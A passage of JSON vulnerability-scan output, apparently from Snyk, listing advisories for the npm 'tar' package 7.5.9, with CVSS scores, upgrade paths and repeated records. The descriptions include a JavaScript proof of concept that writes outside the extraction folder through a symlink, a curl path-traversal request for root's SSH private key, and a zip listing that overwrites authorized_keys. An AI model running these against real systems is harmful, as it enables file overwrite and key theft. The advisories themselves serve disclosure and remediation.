[ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.46183", "probability": "0.00582", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.170068Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.32025", "probability": "0.00401", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-05T02:01:10.209067Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.07903", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-07T02:01:07.157453Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35748", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.176563Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.46183", "probability": "0.00582", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.170068Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.32025", "probability": "0.00401", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-05T02:01:10.209067Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": 